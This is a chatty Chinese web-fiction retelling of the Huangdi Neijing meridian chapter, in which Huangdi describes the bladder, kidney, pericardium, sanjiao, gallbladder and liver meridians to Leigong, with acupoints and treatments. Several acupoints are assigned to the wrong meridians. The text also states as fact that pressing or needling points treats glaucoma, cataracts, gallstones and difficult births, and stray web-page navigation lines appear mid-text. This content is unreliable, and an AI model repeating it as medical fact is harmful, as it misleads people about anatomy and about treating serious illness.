“接下来，膀胱经就开始分岔了。一支从头顶绕到耳朵上方，就像给耳朵戴上了一顶帽子；另一支呢，直接从头顶进入大脑，然后再绕出来，经过脖子后面，沿着肩膀内侧，贴着脊椎一路向下，直达腰部。这一路啊，它可是经过了好多重要的穴位，比如肩井穴、大椎穴、陶道穴等等。” 雷公听得津津有味：“这些穴位都有什么作用啊？” 黄帝耐心地解释：“肩井穴啊，是缓解肩膀酸痛的好帮手；大椎穴呢，能治疗感冒、咳嗽这些常见病；陶道穴则对治疗腰痛有奇效。你看，膀胱经这一路走来，可是帮咱们解决了不少问题呢。” “然后啊，这条经脉继续向下，进入脊椎两侧的肌肉里，也就是咱们常说的膂肌，再连接到肾脏，最后归属于膀胱。这一路啊，它可是在为咱们的泌尿系统和生殖系统保驾护航呢。” 雷公点了点头：“原来如此，那膀胱经还有其他分支吗？” 黄帝笑了笑：“当然有啦。一条分支从腰部出发，沿着脊椎两侧继续向下，穿过臀部，进入膝盖后方的腘窝，也就是委中穴。这个委中穴啊，可是治疗腰痛、腿痛的特效穴，俗称‘腰背委中求’。” 雷公一听，眼睛又亮了：“哇，这么神奇！那还有呢？” “还有一条分支啊，它从肩膀内侧分出，绕过肩胛骨，贴着脊椎内侧继续向下，经过大腿骨上端，沿着大腿外侧后缘，一直到膝盖后方，跟刚才的分支汇合。这一路啊，它可是经过了秉风穴、天宗穴、臑俞穴这些重要穴位。” 雷公听得如痴如醉：“这些穴位又有什么用呢？” 黄帝继续讲解：“秉风穴能治疗肩臂疼痛；天宗穴呢，是治疗肩胛酸痛的特效穴；臑俞穴则对治疗颈椎病有奇效。你看，膀胱经上的每一个穴位，都有它独特的作用。” “最后啊，这条经脉从膝盖后方继续向下，穿过小腿肚子，也就是腓肠肌，从外踝后方出来，沿着京骨穴，到达小趾外侧的至阴穴。这一路啊，它可是经过了承山穴、飞扬穴、昆仑穴这些重要穴位。” 雷公一听，惊讶得合不拢嘴：“这么多穴位！那这些穴位又有什么用呢？” 黄帝耐心地解释：“承山穴是治疗小腿抽筋的特效穴；飞扬穴能治疗头痛、目眩；昆仑穴则对治疗腰痛、脚跟痛有奇效。至于至阴穴啊，它可是膀胱经的井穴，能治疗胎位不正、难产这些妇科病呢。” 雷公一听，连连点头：“原来如此，膀胱经真是太神奇了！” 黄帝笑了笑：“是啊，膀胱经不仅神奇，还很调皮呢。它要是出了问题，咱们可就得遭殃了。比如啊，它会让你头痛得像要裂开一样，眼睛也像要掉出来，脖子像被人拔了一样，脊椎痛得直不起腰，大腿弯不了，膝盖后面像打了个结，小腿肚子像裂开了一样疼。这就是所谓的‘踝厥’，也就是膀胱经气血不通导致的下肢疼痛。” 雷公一听，吓得脸色都变了：“那、那可怎么办啊？” 黄帝安慰道：“别着急，咱们中医有办法。膀胱经要是太盛了，咱们就泻一泻；要是太虚了，咱们就补一补。要是热了，咱们就快点刺；要是冷了，咱们就多留一会儿针。要是穴位陷下去了，咱们就灸一灸。要是不盛不虚呢，咱们就按照经脉的走向来取穴治疗。” 雷公一听，这才松了口气：“原来如此，那咱们怎么判断膀胱经是盛还是虚呢？” 黄帝解释道：“这个啊，咱们可以看人迎穴和寸口脉的对比。如果人迎穴的脉象比寸口脉大两倍以上，那就是膀胱经太盛了；如果人迎穴的脉象反而比寸口脉小，那就是膀胱经太虚了。” 雷公一听，恍然大悟：“原来如此，黄帝您真是太厉害了！” 黄帝笑了笑：“哪里哪里，咱们中医啊，讲究的就是望闻问切，四诊合参。只要咱们用心去学，都能成为治病救人的高手。” 雷公一听，更加坚定了学习中医的决心：“黄帝，我一定要好好学习中医，将来也能像您一样，成为治病救人的大医！” 经脉篇第十（五） 话说有一天，雷公这家伙又跑来找黄帝聊天了。他一脸好奇地问：“黄帝，我一直想知道那个肾足少阴之脉到底是怎么个走法？能不能给我讲讲？” 黄帝一听，哈哈大笑：“哟，雷公啊，你这问题问得好！来来来，我给你细细道来。” 黄帝轻轻地清了清嗓子，仿佛是要唤醒沉睡中的古老智慧，正式开启了他的“肾足少阴之脉奇幻之旅”。“肾足少阴之脉！这家伙，嘿，从小就爱搞点小动作，悄悄地从你的小趾下面溜出来，开始它的奇妙旅程。” “想象一下，夜深人静的时候，你的小趾下面仿佛有个小小的探险家，它名叫‘肾足少阴’，正踮着脚尖，准备开始它的冒险。它先是斜着跑到足心，那里有个穴位，大名鼎鼎的涌泉穴！对，就是那个你晚上泡脚时，觉得暖流直涌心头的神秘之地。涌泉穴，就像是肾经的小温泉，温暖着你的双脚，也温暖着你的心房。” “但咱们的这位小探险家可不会就此满足，它又从涌泉穴出发，溜达到了然谷穴的下面。然谷穴啊，藏在内踝前下方，你要是仔细摸摸，会发现那里有个凹进去的小窝，就像是大自然特意为肾经准备的一个小秘密基地。这个小门户，虽然不起眼，却是肾经能量流转的重要通道，就像是经络世界里的一个小小驿站，等待着肾气的补给和休息。” “接下来，咱们这位调皮的肾足少阴之脉，就开始绕着内踝后面玩起了捉迷藏。它时而露出头来，时而又藏进肉里，像是在和你开玩笑。最终，它别出心裁地钻进了脚跟里，沿着小腿肚子内侧，开始了一段向上的征途。这一路，它可不是孤军奋战，而是带着满满的肾气，滋养着沿途的每一寸肌肤，每一个穴位。” “到了膝盖窝的内侧，也就是委中穴的旁边，肾足少阴之脉依旧没有停歇，它像是被什么神秘力量牵引着，继续往上窜。这一路上，它可是经过了不少中医里的明星穴位，比如复溜穴。复溜穴位于小腿内侧，太溪穴直上2寸的地方，就像是肾经路上的一座灯塔，指引着肾气的流向。你知道吗？这个穴位可是治疗水肿、腹胀的高手，就像是中医里的‘消肿神器’，轻轻一按，就能帮你解决不少烦恼。” 黄帝越说越起劲：“再往上，它就穿过大腿内侧的后边，一路直奔脊柱而去。到了脊柱那儿，它就找到了自己的‘大本营’——肾脏，还顺便跟膀胱打了个招呼，络了一下膀胱经。哈哈，这家伙可真是会串门儿啊！” “不过啊，它还没玩够呢！有些调皮的分支直接从肾上窜到肝和膈肌之间，再冲进肺里，绕着喉咙跑一圈，还夹着舌头根部不放。你说这像不像一个调皮的小孩儿在人家家里捣乱？”黄帝边说边比划，逗得雷公哈哈大笑。 “还有啊，有些更调皮的，从肺里溜出来，又跑到心脏那里去串门，最后注入胸中。这家伙，真是无处不在啊！”黄帝摇了摇头，一脸无奈又带着几分笑意。 “那么，这家伙要是动起来了，会怎么样呢？嘿，那可就热闹了！你可能会觉得饿，但看到吃的又不想吃；脸上呢，可能会像涂了黑漆的柴火一样黯淡无光；咳嗽吐痰时还可能有血；喘起气来跟拉风箱似的；坐也不是，站也不是；眼睛还迷迷糊糊的，好像啥也看不见；心里呢，就像被悬在半空中一样，慌慌的，饿饿的。这都是肾足少阴之脉在捣乱呢！”黄帝说完，自己先笑了起来。 “要是肾气不足啊，这家伙就更调皮了。你可能会变得特别胆小，心里惕惕的，就像有人随时要抓你一样。这种情况啊，中医上叫‘骨厥’。都是因为肾气不足，骨头里的那股子劲儿使不上啦！”黄帝拍了拍雷公的肩膀，笑得那叫一个开心。 “这一提肾经啊，简直就像是打开了潘多拉的盒子，里面的“小妖精”们（咱们这儿特指各种症状哈）是一个接一个地往外蹦跶，热闹得跟庙会似的。首先说说这口热、舌干吧，就像是嘴里含了块刚出炉的烧饼，干巴巴还烫嘴，连喝水都不解渴。这时候啊，中医就会告诉你，这可能是肾阴不足，肾经这条“小溪流”缺水了，得赶紧滋阴补水，不然这“河床”都得干裂了。想象一下，如果肾经是个快递小哥，这水分就是它要送的“清凉包裹”，送不到位，咱们嘴里就得“冒火”了。 再来谈谈咽喉肿痛、上不来气，这感觉就像是脖子上缠了一圈无形的绸带，越勒越紧，连说话都得悠着点，生怕一不小心就把嗓子给“勒断”了。在中医看来，这往往是肾经不畅，火气上冲的结果。肾经要是堵了，就像高速公路上出了车祸，后面的车全堵那儿了，火急火燎地想找出口呢。这时候，咱们得疏通经络，给肾经“松松绑”，让它顺畅起来。 咽干咽痛，那可是让人连咽口水都得小心翼翼，生怕一不小心就触动了“疼痛开关”。心烦意乱、心痛，这更像是心里装了个定时炸弹，随时可能“砰”的一声爆炸，让人坐立不安。这些症状啊，中医常说跟肾水不能滋养心火有关，肾经就像是给心脏送“灭火器”的，要是送不及时，心火就得烧得旺旺的，咱们的心情自然也就跟着“火冒三丈”了。 黄疸，这事儿可不小，皮肤、眼睛黄得像秋天成熟的麦田，看着是挺喜庆，但身体里头可就不那么乐观了。拉肚子，这肾经一捣乱，肠胃也跟着起哄，一天跑好几趟厕所，都快成“厕所所长”了。这时候啊，中医调理，就像是给身体请了个“维修工”，把肾经这条路上的“坑坑洼洼”给填平了。 说到脊柱和大腿内侧后边疼痛，那感觉就像是背了个沉重的背包，走哪儿都累得慌。痿症、厥症，听着就让人心里发憷，身体软绵绵的，使不上劲儿，或者是突然晕倒，跟演古装剧似的，但其实都是肾经气血不足闹的。 还有那特别爱睡觉，脚底下热乎乎的还疼，就像是身体在说：“哥们儿，我太累了，让我多睡会儿吧，至于脚嘛，它自己烧开水呢！”这其实是肾经虚火上炎，得给它降降温，不然这“小火炉”可就得一直烧下去了！” “那么，怎么治疗这些毛病呢？简单！盛了就泻一泻，虚了就补一补。要是热了，就快点扎针；要是寒了，就多留会儿针。要是陷下去了，那就灸一灸。要是不盛不虚呢，那就按照经络的走向来扎针。哈哈，这下你明白了吧？”黄帝得意洋洋地看着雷公。 雷公听得一愣一愣的，半天才反应过来：“黄帝，你这说得也太复杂了吧？能不能简单点儿？” 黄帝一听，又笑了起来：“好好好，那我就给你简单说说。灸的时候啊，你得多吃点好吃的，让身体长点肉。还有啊，别系那么紧的腰带，头发也披下来放松放松。走路的时候呢，拿个大棍子，穿双重鞋子，这样走得稳当点儿。哈哈，这样解释，你是不是明白了？” 雷公一听，眼睛一亮：“明白了明白了！黄帝，你这解释真是太接地气了！” 黄帝笑着点了点头：“还有啊，要是肾经盛了，寸口脉就会比人迎脉大两倍；要是虚了呢，寸口脉就会比人迎脉小。这下你记住了吧？” 雷公连连点头：“记住了记住了！黄帝，你真是我的偶像啊！” 黄帝一听这话，笑得前仰后合：“哈哈，雷公啊雷公，你可别给我戴高帽了。咱们还是继续研究中医吧！” 有一天，雷公这个好奇宝宝又来找黄帝请教问题了。他一脸认真地说：“黄帝啊，我这心里头有个疑惑，就是关于那个心主手厥阴心包络之脉的运行，您能给我讲讲不？” 黄帝一听，嘿，这雷公还真是个爱学习的好孩子，于是笑眯眯地说：“没问题啊，雷公，来来来，咱们这就开讲。” “心主手厥阴心包络之脉啊，它可是个了不起的家伙，起点在咱们的胸中，那可是心脏的大本营。从这出发后，它就一路狂奔，出属心包络，然后嗖的一下穿过膈肌，继续它的探险之旅。这一路上，它还特别爱串门，三焦这个大家庭它可没少去，历络三焦，那感情深啊！” “说到这，它还有个分支呢，这个分支啊，比较调皮，不跟着主流走。它沿着胸胁这块儿溜达，下到腋窝下三寸的地方，也就是咱们平时说的极泉穴附近，然后嗖嗖嗖地往上窜，一直抵到腋下。接着呢，它就沿着咱们的上臂内侧，也就是肱二头肌和肱三头肌之间的缝隙里穿行，这一路它还经过了太阴肺经和少阴心经的地盘，打个招呼就继续往前了。” “到了肘窝这儿，它可算是歇了歇脚，然后进入前臂，还是在两筋之间溜达。咱们平时说的内关穴啊，就是它经过的一个重要站点。再往下，它就钻进了咱们的手掌心里，沿着中指一直走到指尖，那叫一个顺畅。” “不过啊，它还有个分支更调皮，从掌心这儿分出来，不跟着中指走了，而是拐到了无名指那儿，也就是咱们现在说的劳宫穴到关冲穴的路线，最后也走到了指尖。” 雷公一听，眼睛瞪得圆圆的，惊叹道：“哇塞，这心包络之脉还挺会玩的嘛！” 黄帝笑了笑，接着说：“是啊，不过它要是动起来，咱们可就得小心了。要是它出问题，手心就会发热，手臂肘子还会抽筋，腋窝也会肿起来。要是再严重点，胸胁这块儿就会胀得满满的，心里头还会砰砰直跳，跟打鼓似的。脸上呢，也会红彤彤的，眼睛还可能发黄，有的人还会莫名其妙地傻笑个不停呢。” “那要是它生病了呢？”雷公迫不及待地追问。 黄帝捋了捋胡子，说：“要是它生病了，咱们就会觉得心里烦烦的，心痛痛的，手掌心也会热乎乎的。这时候啊，咱们就得想办法治治它了。” “怎么治呢？”雷公好奇地问。 黄帝说：“这得看它是盛还是虚了。要是盛呢，咱们就得泻泻它的火，比如在内关穴、大陵穴这些地方扎扎针，让它们把多余的火气给泄出去。要是虚呢，咱们就得补补它，比如在劳宫穴、中冲穴这些地方灸一灸，让它们暖和暖和。” “要是热得很呢，咱们扎针的时候就得快点，像风一样，让它赶紧把热气给带走。要是寒得很呢，咱们就得把针留久一点，让它好好暖和暖和。要是它陷下去了呢，咱们就得用灸法，给它加加温。要是不盛也不虚呢，咱们就得按照经络的走向来取穴治疗了。” 雷公听得一愣一愣的，感叹道：“这中医可真是深奥啊！” 黄帝老师拍了拍雷公的肩膀，说：“别灰心，雷公，只要你肯学，中医的大门永远为你敞开。对了，我还得告诉你个小秘密，怎么判断心包络之脉是盛还是虚呢？很简单，看看寸口脉和人迎脉就知道了。要是寸口脉比人迎脉大一倍呢，那就是盛了；要是寸口脉反而比人迎脉小呢，那就是虚了。” 雷公一听，眼睛一亮，说：“原来如此，黄帝，您真是太厉害了！” 不过话说回来，咱们这心包络之脉啊，还真是个神奇的存在。它不仅连接着咱们的心脏和大脑，还负责调节咱们的情绪和血液循环呢。要是它出了问题啊，咱们可就得小心应对了。 咱们刚才提到的那些穴位啊，也都是心包络之脉上的重要站点。比如内关穴啊，它可是个“心灵开关”，咱们要是觉得心里烦闷啊，按按它就能舒缓不少。大陵穴呢，它就像个“灭火器”，心包络之火太旺的时候啊，按按它就能把火给灭掉。 劳宫穴啊，它可是个“温暖小窝”，咱们要是觉得手心凉飕飕的啊，灸灸它就能暖和起来。中冲穴呢，它就像个“排气阀”，心包络之气郁结的时候啊，刺刺它就能把气给排出去。 至于极泉穴、关冲穴这些啊，也都是心包络之脉上的重要穴位。它们各自有着独特的功效和作用，等待着咱们去发现和探索呢。 经脉篇第十（六） 话说有一天，雷公一脸好奇地凑近黄帝，眨巴着眼睛问：“嘿，黄帝，我一直对那个三焦手少阳之脉的运行路线挺感兴趣的，您能给我讲讲不？” 黄帝一听，哈哈一笑，捋了捋长须，故作神秘地说：“哦？雷公啊，你算是问对人了。这三焦手少阳之脉啊，那可真是一条神奇的经络，它就像咱们身体里的高速公路，负责运输气血，沟通全身。来来来，我给你细细道来。” “首先啊，这条经络的起点在无名指尺侧端，就是咱们平时不太用的那根小手指旁边的那根。从这里开始，它就像一条小蛇一样，嗖嗖地往上窜，穿过两指之间，然后沿着咱们手腕的外侧，一直往上走。走到手臂那儿，它就钻进了两骨头缝里，继续往上爬。到了肘关节那儿，它也不停歇，绕着胳膊外侧就往上冲，一直冲到肩膀上。” 雷公听得一愣一愣的，忍不住插嘴道：“哎呀，这经络也太会跑了吧！那它跑到肩膀上之后呢？” 黄帝笑了笑，继续讲道：“别急嘛，好戏还在后头呢。它从肩膀上绕过去，和足少阳胆经打了个照面，然后嗖的一下钻进了缺盆里。缺盆啊，就是咱们锁骨上窝那儿，你摸摸看，是不是有个窝窝？它进了缺盆之后，就开始在咱们胸口这儿散布开来，像撒网一样，把气血撒得到处都是。特别是心包络那儿，它可是重点关照对象哦。” 雷公摸了摸自己的胸口，一脸恍然大悟的表情：“哦~原来是这样啊！那它接下来呢？” 黄帝接着说：“接下来啊，它就从心包络那儿往下走，穿过膈肌，又回到了三焦那儿。不过啊，它可不是一条直线走到底的，中途还分出了好多支流呢。” “支流？那这些支流都去哪儿了呢？”雷公一脸惊奇地问。 黄帝点了点头，说：“其中一条支流啊，从膻中穴那儿又钻出了缺盆，沿着脖子往上爬，一直爬到耳后，然后嗖的一下，窜到了头顶，再从头顶弯下来，经过脸颊，最后到了咱们下巴那儿。这条支流啊，就像是一条山间小溪，潺潺流动，滋润着咱们的脸部。” 雷公摸了摸自己的脸，笑道：“哈哈，那我得好好感谢这条支流了，不然我这张帅脸可就没气血滋润了。” 黄帝一听，也忍不住笑了起来：“你啊，就别臭美了。还有一条支流呢，它从耳后钻进了耳朵里，然后从耳朵前面跑出来，经过客主人穴，就是咱们现在说的上关穴，再交汇到脸颊那儿，最后到了咱们眼角的外侧。这条支流啊，就像是咱们耳朵的守护神，保护着咱们的听力。” 雷公眨了眨眼，问：“那要是这条支流出了问题，会怎么样呢？” 黄帝叹了口气，说：“那可就不好说了。要是这条经络出了问题，比如气血不通啊，或者受到邪气侵袭啊，就会出现耳聋、耳鸣、咽喉肿痛、喉咙闭塞等症状。所以啊，咱们平时可得好好保养这条经络。” 雷公一听，吓得连忙摸了摸自己的耳朵：“哎呀妈呀，那我可得小心点了。那要怎么保养呢？” 黄帝笑了笑，说：“保养嘛，其实也不难。你可以多按摩按摩这条经络上的穴位，比如液门穴、中渚穴、阳池穴等等。这些穴位啊，就像是经络上的开关，多按按它们，就能让经络更通畅，气血更充足。” “液门穴啊，在咱们手背第四、五指间，指蹼缘后方赤白肉际处。你按按看，是不是酸酸涨涨的？这个穴位啊，能清热泻火、疏经活络。要是你觉得咽喉肿痛啊、耳鸣耳聋啊，就可以多按按它。” 雷公照着黄帝说的按了按液门穴，果然觉得酸酸涨涨的，忍不住叫道：“哎呀，还真挺舒服的！” 黄帝点了点头，接着说：“中渚穴呢，在咱们手背部，当环指本节（掌指关节）的后方，第四、五掌骨间凹陷处。这个穴位啊，能治疗头痛、目眩、耳鸣、耳聋、咽喉肿痛等症状。你要是觉得头晕目眩啊，就可以多按按它。” 雷公又照着黄帝说的按了按中渚穴，果然觉得头目清爽了许多，忍不住连声称奇。 黄帝看雷公这么感兴趣，又接着说：“还有阳池穴啊，在咱们腕背横纹中，指伸肌腱的尺侧缘凹陷处。这个穴位啊，能治疗手腕疼痛、肩臂痛、耳聋、疟疾等症状。你要是觉得手腕疼啊，就可以多按按它。” 雷公一听，连忙卷起袖子按了按阳池穴，果然觉得手腕舒服了许多。他忍不住感叹道：“哎呀妈呀，这中医穴位可真神奇啊！那我以后可得好好学学了。” 有一天，雷公闲来无事，就跑去问黄帝：“嘿，黄帝，我一直对那个胆足少阳之脉的运行挺好奇的，能给我讲讲不？”黄帝一听，嘿，这可是个展示自己中医知识的好机会，于是清了清嗓子，开讲啦！ 黄帝说：“这胆足少阳之脉啊，它的起点可有意思了，就在咱们的眼睛外眼角那儿，也就是瞳子髎穴。你想想，是不是每次熬夜加班后，外眼角那儿就容易干涩、疲劳？没错，那就是胆经在提醒你，该休息了！这条经脉啊，它从外眼角出发，嗖嗖地往上窜，直接抵达咱们的头角，也就是头维穴附近。然后，它又一溜烟儿地下到耳后，沿着脖子，走在手少阳三焦经的前面，一直到肩膀上。到了这儿，它还不老实，又拐了个弯儿，从手少阳三焦经的后面绕出来，钻进了缺盆穴，也就是咱们锁骨上窝那儿。” 这章没有结束，请点击下一页继续阅读！ 雷公一听，眼睛瞪得圆圆的：“哇，这胆经还真是曲折蜿蜒啊！” 黄帝笑了笑，继续道：“别急，还没完呢！这胆经啊，它还有两条支线。一条支线从耳后钻进耳朵里头，然后又从耳朵前面跑出来，回到外眼角后面，跟主线汇合。这就像是咱们耳朵里的秘密通道，专门负责传递一些‘不可告人’的信息给眼睛，哈哈！另一条支线呢，它从外眼角那儿分出来，一路向下，经过大迎穴，也就是咱们下巴下面那块肉嘟嘟的地方，跟手少阳三焦经汇合后，继续往下走，经过颊车穴，也就是咱们腮帮子那儿，再下到脖子上，跟缺盆穴汇合，然后一路向下，穿过胸膛，横贯膈肌，联络肝脏，最后属于胆腑。这就像是胆经的‘千里走单骑’，一路披荆斩棘，直达目的地！” 雷公听得津津有味，忍不住插嘴道：“那它接下来呢？是不是还要继续往下走？” 黄帝点了点头：“没错！这胆经啊，它继续沿着胁肋里面走，从气街穴那儿绕出来，也就是咱们腹股沟那儿。然后，它再绕过阴毛边缘，横着进入大腿外侧的环跳穴。这个环跳穴啊，可是个‘宝藏穴位’，经常敲打它，能缓解腰腿疼痛，让你走路带风！” 雷公一听，眼睛一亮：“哇，这么神奇？那它在大腿上怎么走呢？” 黄帝继续道：“在大腿上啊，这胆经有两条路线。一条是直接从缺盆穴那儿下来，穿过腋窝，沿着胸侧，经过季胁，也就是咱们肋骨下面的软肉那儿，跟环跳穴汇合。另一条呢，从环跳穴开始，沿着大腿外侧一路向下，经过风市穴、中渎穴，这些穴位啊，都是治疗下肢疼痛、麻木的‘高手’。然后，它再经过膝阳关穴，也就是咱们膝盖外侧那块骨头突出来的地方，继续往下，经过阳陵泉穴，这个穴位啊，可是治疗胆囊炎、胆结石的‘特效穴’。最后，它一路走到外踝前的丘墟穴，再沿着脚背，进入第四趾和第五趾之间，也就是足窍阴穴。” 雷公听得目瞪口呆：“这么多穴位啊！那这些穴位都有什么作用呢？” 黄帝笑了笑，开始逐一介绍：“瞳子髎穴啊，能治疗各种眼部疾病，比如青光眼、白内障啥的。头维穴呢，能缓解头痛、头晕。大迎穴啊，能治疗面瘫、口眼歪斜。颊车穴呢，能治疗牙痛、腮腺炎。环跳穴啊，前面说过了，能缓解腰腿疼痛。风市穴啊，能治疗中风偏瘫、下肢不遂。中渎穴呢，能治疗坐骨神经痛。膝阳关穴啊，能治疗膝关节疼痛。阳陵泉穴啊，前面也说过了，是治疗胆囊炎、胆结石的‘特效穴’。丘墟穴呢，能治疗脚踝扭伤、足跟痛。足窍阴穴啊，能治疗失眠、多梦。” 雷公听得连连点头：“原来如此！那胆经要是出了问题，人会怎么样呢？” 黄帝叹了口气：“胆经要是出了问题啊，人就会口苦、爱叹气、心胁疼痛，连转身都困难。严重的时候啊，脸上还会起灰尘似的小斑点，皮肤变得干燥无光泽，脚外侧还会发热，这就是所谓的‘阳厥’。所以啊，咱们平时得多敲敲胆经，保持经络通畅，才能身体健康，精神焕发！” 雷公一听，吓得连忙揉了揉自己的胆经：“那我得赶紧敲敲了！那要是治疗这些胆经的病症呢，针灸应该怎么操作呢？” 黄帝耐心地解释道：“这个啊，得根据病症的虚实来决定。要是实证呢，就得用泻法，也就是针刺得深一些，手法重一些，让邪气随针而出。要是虚证呢，就得用补法，也就是针刺得浅一些，手法轻一些，以滋养正气。要是热证呢，就得快刺快出，像风一样迅速，以清热泻火。要是寒证呢，就得留针久一些，让针气在体内温煦散寒。要是经络陷下不起呢，就得用灸法，也就是用艾条熏烤穴位，以温通经络。要是病症不盛不虚呢，就按照经络的循行来取穴治疗。” 雷公听得连连点头：“原来如此！那怎么看病症的虚实呢？” 黄帝笑了笑：“这个啊，有个简单的方法，就是看‘人迎’和‘寸口’的脉象。人迎脉在喉结两旁，要是人迎脉比寸口脉大一倍呢，那就是实证。要是人迎脉反而比寸口脉小呢，那就是虚证。” 雷公一听，恍然大悟：“原来如此！黄帝大大，您真是我的‘救星’啊！以后要是再遇到胆经的病症，我就知道该怎么处理了！” 黄帝哈哈大笑：“雷公啊，你学会了就好！记住啊，中医的学问博大精深，咱们得多学多问，才能不断进步！” 雷公连连点头：“对对对！我以后一定多学多问，争取早日成为中医界的‘大神’！” 再来说说那些穴位吧。瞳子髎穴在咱们眼睛的外眼角处，经常按摩它啊，能缓解眼部疲劳、干涩啥的。头维穴在咱们头角发际上0.5寸的地方，按摩它啊，能缓解头痛、头晕啥的。大迎穴在咱们下颌角前方咬肌附着部前缘的地方，按摩它啊，能治疗面瘫、口眼歪斜啥的。颊车穴在咱们下颌角前上方一横指的地方，按摩它啊，能治疗牙痛、腮腺炎啥的。 环跳穴啊，在咱们股骨大转子最凸点与骶管裂孔连线的外1/3与中1/3交点处，这个穴位啊，得用拳头或者按摩棒来敲打，才能感受到那种酸酸胀胀的感觉，特别舒服！风市穴在咱们大腿外侧的中线上，腘横纹上7寸的地方，按摩它啊，能治疗中风偏瘫、下肢不遂啥的。中渎穴在咱们大腿外侧，风市穴下2寸的地方，按摩它啊，能治疗坐骨神经痛啥的。 膝阳关穴在咱们股骨外上髁后上缘，股二头肌腱与髂胫束之间的凹陷处，按摩它啊，能治疗膝关节疼痛啥的。阳陵泉穴在咱们小腿外侧，腓骨头前下方凹陷处，这个穴位啊，可是治疗胆囊炎、胆结石的‘特效穴’，经常按摩它啊，能让你的胆囊更健康！丘墟穴在咱们足外踝的前下方，趾长伸肌腱的外侧凹陷处，按摩它啊，能治疗脚踝扭伤、足跟痛啥的。足窍阴穴在咱们第四趾末节外侧，距趾甲角0.1寸的地方，按摩它啊，能治疗失眠、多梦啥的。 经脉篇第十（七） 话说有一天，雷公这哥们儿好奇心爆棚，一脸呆萌地跑到黄帝面前，眨巴着大眼睛问：“嘿，黄帝，我一直对那个肝足厥阴之脉的运行路线挺好奇的，能给我讲讲不？”黄帝一听，哈哈一笑，心想这雷公今天怎么突然对中医经络感兴趣了？不过既然人家问了，那就好好解答一番吧！ 黄帝清了清嗓子，缓缓道来：“要说这肝足厥阴之脉啊，它可是个了不起的家伙，起点就在咱们脚丫子的大脚趾外侧，靠近那丛毛毛的地方。想象一下，你光着脚丫子在沙滩上走，突然感觉脚底一痒，哈哈，那就是肝足厥阴之脉的起点在跟你打招呼呢！” “这脉啊，从大脚趾开始，一路向上，沿着脚背的内侧边缘，也就是咱们常说的‘足跗上廉’，嗖嗖地往上窜。到了内踝那儿，它也不停歇，离内踝一寸远的地方继续往上，一直到脚踝上八寸的高度。这时候，它突然玩了个花活儿，从脾经后面绕了出来，就像是在跳一场经络版的华尔兹。” “接着，这脉继续往上，沿着大腿内侧，也就是咱们说的‘股阴’，一路钻进了阴毛丛中，可别觉得尴尬啊，这可是中医经络的必经之路。然后，它又经过了咱们的私处，哈哈，这下知道它有多重要了吧？再往上，它就抵达到了小腹，紧贴着胃的旁边，最终归属于肝，还联络着胆经呢！” “这还没完呢！肝足厥阴之脉继续往上，穿过膈肌，布满了咱们的胁肋部，就像给肋骨戴上了一条绿色的经络项链。然后，它又绕到了喉咙的后面，嗖的一声，冲上了鼻咽部，也就是咱们说的‘颃颡’，还连上了眼球后方的‘目系’，就像是给眼睛装上了经络的wifi信号接收器。” “再往上，它就从额头冒了出来，和督脉在头顶最高处——百会穴来了个激情拥抱。哈哈，这下知道肝足厥阴之脉有多厉害了吧？它可是能一路从脚跑到头的！” 雷公听得目瞪口呆，连连点头：“哇塞，这经络真是太神奇了！那它还有没有其他分支呢？” 黄帝笑了笑：“当然有啦！这肝足厥阴之脉有两个分支，一个是从眼球后方的‘目系’出发，沿着脸颊内侧，绕到了嘴唇里面，就像是给嘴巴戴上了一个隐形的经络口罩。另一个分支呢，则是从肝脏出发，再次穿过膈肌，一直往上，注入了肺脏，就像是给肝脏和肺脏之间搭建了一座经络的桥梁。” “不过啊，这肝足厥阴之脉要是出了问题，那可就麻烦了。比如说，它会让你腰痛得直不起腰来，连弯腰捡个东西都费劲。男士们可得小心了，它还可能让你得上疝气，那可是相当难受的。女士们呢，也得注意，它可能会导致小腹肿胀，看着就像怀了个小宝宝似的。” “更严重的是，它还会让你的喉咙干得跟沙漠似的，脸上灰扑扑的，就像蒙了一层灰。所以啊，咱们平时可得好好保养这条经络，别让它出了问题。” 雷公一听，吓得连忙点头：“对对对，保养保养！那黄帝大大，要是这肝足厥阴之脉出了问题，咱们该怎么调理呢？” 黄帝捋了捋胡子，笑道：“调理嘛，那就得根据具体情况来了。要是经络太盛了，那就得泻一泻；要是太虚了，那就得补一补。要是热了，那就得快速刺激一下；要是寒了，那就得留针多灸一会儿。要是经络陷下了，那就得赶紧灸一灸。要是不盛不虚呢，那就按照经络的常规走法来调理就行了。” “至于怎么判断经络的盛衰嘛，那就得看寸口脉和人迎脉的大小了。要是寸口脉比人迎脉大一倍，那就是经络太盛了；要是寸口脉反而比人迎脉小，那就是经络太虚了。” 雷公一听，眼睛一亮：“哇塞，黄帝大大，你这套理论真是太神奇了！那咱们能不能具体说说这些穴位的位置和作用呢？” 黄帝哈哈一笑：“当然可以啦！不过咱们得从头开始说。” “先说头顶的百会穴吧，那可是肝足厥阴之脉和督脉的交汇点。它位于头顶正中线与两耳尖连线的交点处，就像是头顶的交通枢纽一样。按摩这个穴位啊，能提神醒脑、升阳举陷，对于头痛、眩晕、中风、脱肛等症状都有很好的缓解作用。” “再说说脚上的大敦穴吧，那可是肝足厥阴之脉的起始点。它位于大趾末节外侧，距趾甲角旁约0.1寸的地方。按摩这个穴位啊，能疏肝理气、调经止崩，对于疝气、少腹肿痛、月经不调、崩漏等症状都有很好的调理作用。” “还有太冲穴啊，那可是肝经的原穴，位于足背第一、第二跖骨结合部之前凹陷中。按摩这个穴位啊，能平肝熄风、舒肝养血，对于头痛、眩晕、月经不调、痛经、黄疸等症状都有很好的缓解作用。不过啊，这个穴位可有点敏感，按摩的时候可得轻点哦！” “再来说说行间穴吧，它位于足背第一、第二趾间，趾蹼缘的后方赤白肉际处。按摩这个穴位啊，能清肝泻火、凉血祛风，对于头痛、眩晕、目赤肿痛、青盲、口歪等症状都有很好的调理作用。不过啊，这个穴位也得轻点按哦，不然可有点疼呢！” 小主， “还有中封穴啊，它位于内踝前下方，胫骨前肌腱的内侧凹陷处。按摩这个穴位啊，能疏肝理气、泄热消肿，对于疝气、阴茎痛、小便不利、遗精等症状都有很好的缓解作用。这个穴位嘛，相对来说就没那么敏感了，可以稍微用点力哦！” “再来说说蠡沟穴吧，它位于小腿内侧，当足内踝尖上5寸，胫骨内侧面的中央。按摩这个穴位啊，能疏肝理气、调经止带，对于月经不调、带下、小便不利等症状都有很好的调理作用。这个穴位嘛，也是相对比较温和的，可以稍微用点力按摩。” 